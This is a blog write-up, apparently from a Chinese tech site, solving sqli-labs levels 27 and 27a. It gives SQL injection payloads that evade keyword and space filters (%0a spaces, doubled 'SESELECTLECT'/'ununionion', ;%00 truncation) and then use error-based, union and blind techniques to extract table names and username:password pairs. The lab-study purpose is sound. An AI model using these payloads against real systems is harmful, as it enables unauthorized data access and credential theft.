sqli-labs第27关,27a关

第27关

这一关union、select以及空格都被过滤,但这次惊喜发现%0a可以替换空格

先判断是字符型还是数字型注入

?id=1%0aand%0a1=1

?id=1%0aand%0a1=2

1 and 1=1, 1 and 1=2都显示正常,故为字符型注入,继续判断是什么注入类型

采用单引号,发现报错

进行闭合,发现采用--+以及#等注释符都不起作用,故注释符也被过滤,采用其它闭合方式,id=2' and '1'='1

id=2'%0aand%0a'1'='1

一般流程是猜测字段数用order by,但发现不管order by 数字如何,都是返回正确的,且没有报错

这里拿sqli-labs第一关试下

第一关是单引号注入,进行单引号闭合,分别采用注释符和'1'='1

结果都正常,在此基础上分别猜测字段数,采用order by 4

结果发现只有在注释符的作用下,Order by 4才能显示报错信息,所以如果后面不是采用注释符进行闭合,order by 数字不起作用

emmm,还是不知道为啥order by不起作用,或许被强制转换了?或者本来就没有这个用法。

反正这个方法得出字段数行不通;

有报错信息,那就采用基于报错的SQL注入得出数据库

?2'%0aand%0aupdatexml(1,concat(0x7e,database()),1)%0aand%0a'1'='1

得出表名

?id=2'%0aand%0aupdatexml(1,concat(0x7e,(SESELECTLECT%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security')),1)%0aand%0a'1'='1

这里select采用大写复写绕过,SESELECTLECT,反正小写复写不行,url编码也不行

得出列名,%0a替换空格

?id=2' and updatexml(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1) and '1'='1

同理得出用户名密码,略

-------

方法二

补充,上网查了一下,发现这个操作可以得出字段数,oder by x;%00,直接用;结束,然后%00起截断作用,是字符串的结束标志,这样可以绕过后面的,如果去掉%00不起作用

代码

?id=2'%0aorder%0aby%0a4;%00

order by 3;%00的时候正确,说明字段数为3

得出回显点,union采用小写复写

?id=0'%0aununionion%0aSESELECTLECT%0a1,2,3;%00

得出表名

?id=0'%0aununionion%0aSESELECTLECT%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0aand'1'='1

得出列名

?id=0%27%0aununionion%0aSESELECTLECT%0a1,2,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema=database()%0aand%0atable_name=%27users%27;%00

得出用户名、密码

?id=0%27%0aununionion%0aSESELECTLECT%0a1,2,group_concat(username,%27:%27,password)%0afrom%0ausers;%00

第27a关

这一关是字符型双引号注入,且没有报错信息,无法得出字段数,但此关%0a仍然可以替换空格

1.采用SQL盲注

判断数据库大小

同样可以用截断方式

?id=2"%0aand%0alength(database())=8;%00

判断数据库

得出第一个字符为s,以此类推,得出数据库为security,同理得出表名,列名

------

2.采用联合注入方法

这里是采用Union方式得出回显点和数据库名(有点上帝视角,因为不会报错,不知道字段有几个)

?id=0"%0aununionion%0aSESELECTLECT%0a1,2,database();%00

得出表名

?id=2"%0aand%0aascii(mid(concat(0x7e,(SESELECTLECT%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0alimit%0a0,1)),1,1))=101;%00

同理可得出users列名,用户名、密码

  • 7
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值